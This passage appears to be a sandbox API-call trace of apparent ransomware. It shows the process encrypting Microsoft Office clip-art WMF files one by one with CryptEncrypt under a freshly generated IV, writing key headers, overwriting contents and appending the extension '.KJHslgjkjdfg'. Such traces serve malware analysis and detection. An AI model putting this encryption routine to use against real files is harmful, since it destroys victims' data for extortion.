ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ce4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107426.WMF", cAlternateFileName="")) returned 1 [0200.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.891] GetProcessHeap () returned 0x2ef0000 [0200.891] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.891] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.891] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.891] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.893] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.893] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.893] GetProcessHeap () returned 0x2ef0000 [0200.893] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.894] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.894] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.894] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.894] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.894] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.894] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.894] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.894] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.894] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.894] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.894] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.894] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2ce4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2ce4, lpOverlapped=0x0) returned 1 [0200.895] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2cf0) returned 1 [0200.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.896] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2cf0, lpOverlapped=0x0) returned 1 [0200.896] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.896] SetEndOfFile (hFile=0x130) returned 1 [0200.899] GetProcessHeap () returned 0x2ef0000 [0200.899] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.899] GetProcessHeap () returned 0x2ef0000 [0200.899] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.899] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.kjhslgjkjdfg")) returned 1 [0200.900] CloseHandle (hObject=0x130) returned 1 [0200.900] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7680, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107446.WMF", cAlternateFileName="")) returned 1 [0200.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.901] GetProcessHeap () returned 0x2ef0000 [0200.901] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.901] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.901] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.901] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.901] GetProcessHeap () returned 0x2ef0000 [0200.901] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.901] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.902] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.902] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.904] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.904] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.904] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.904] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.904] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.905] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.905] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.905] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7680, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7680, lpOverlapped=0x0) returned 1 [0200.907] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7680, dwBufLen=0x7680 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7680) returned 1 [0200.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.907] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7680, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7680, lpOverlapped=0x0) returned 1 [0200.907] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.907] SetEndOfFile (hFile=0x130) returned 1 [0200.910] GetProcessHeap () returned 0x2ef0000 [0200.910] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.910] GetProcessHeap () returned 0x2ef0000 [0200.910] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.kjhslgjkjdfg")) returned 1 [0200.912] CloseHandle (hObject=0x130) returned 1 [0200.912] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1338, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107450.WMF", cAlternateFileName="")) returned 1 [0200.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.913] GetProcessHeap () returned 0x2ef0000 [0200.913] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.913] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.913] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.916] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.916] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.916] GetProcessHeap () returned 0x2ef0000 [0200.916] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.916] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.916] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.916] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.916] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.916] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.916] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.916] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.916] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.917] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.917] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.917] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1338, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1338, lpOverlapped=0x0) returned 1 [0200.918] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1340, dwBufLen=0x1340 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1340) returned 1 [0200.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.918] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1340, lpOverlapped=0x0) returned 1 [0200.918] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.918] SetEndOfFile (hFile=0x130) returned 1 [0200.921] GetProcessHeap () returned 0x2ef0000 [0200.921] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.921] GetProcessHeap () returned 0x2ef0000 [0200.921] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.kjhslgjkjdfg")) returned 1 [0200.922] CloseHandle (hObject=0x130) returned 1 [0200.922] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107452.WMF", cAlternateFileName="")) returned 1 [0200.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.924] GetProcessHeap () returned 0x2ef0000 [0200.924] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.924] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.924] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.924] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.924] GetProcessHeap () returned 0x2ef0000 [0200.924] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.924] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.924] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.924] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.926] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.926] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.926] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.926] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.926] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.926] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.927] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.927] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x52e0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x52e0, lpOverlapped=0x0) returned 1 [0200.927] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x52e0, dwBufLen=0x52e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x52e0) returned 1 [0200.927] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.928] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x52e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x52e0, lpOverlapped=0x0) returned 1 [0200.928] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.928] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x53b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.928] SetEndOfFile (hFile=0x130) returned 1 [0200.931] GetProcessHeap () returned 0x2ef0000 [0200.931] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.931] GetProcessHeap () returned 0x2ef0000 [0200.931] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.931] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.kjhslgjkjdfg")) returned 1 [0200.932] CloseHandle (hObject=0x130) returned 1 [0200.932] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107456.WMF", cAlternateFileName="")) returned 1 [0200.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.933] GetProcessHeap () returned 0x2ef0000 [0200.933] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.933] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.933] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.933] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.935] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: 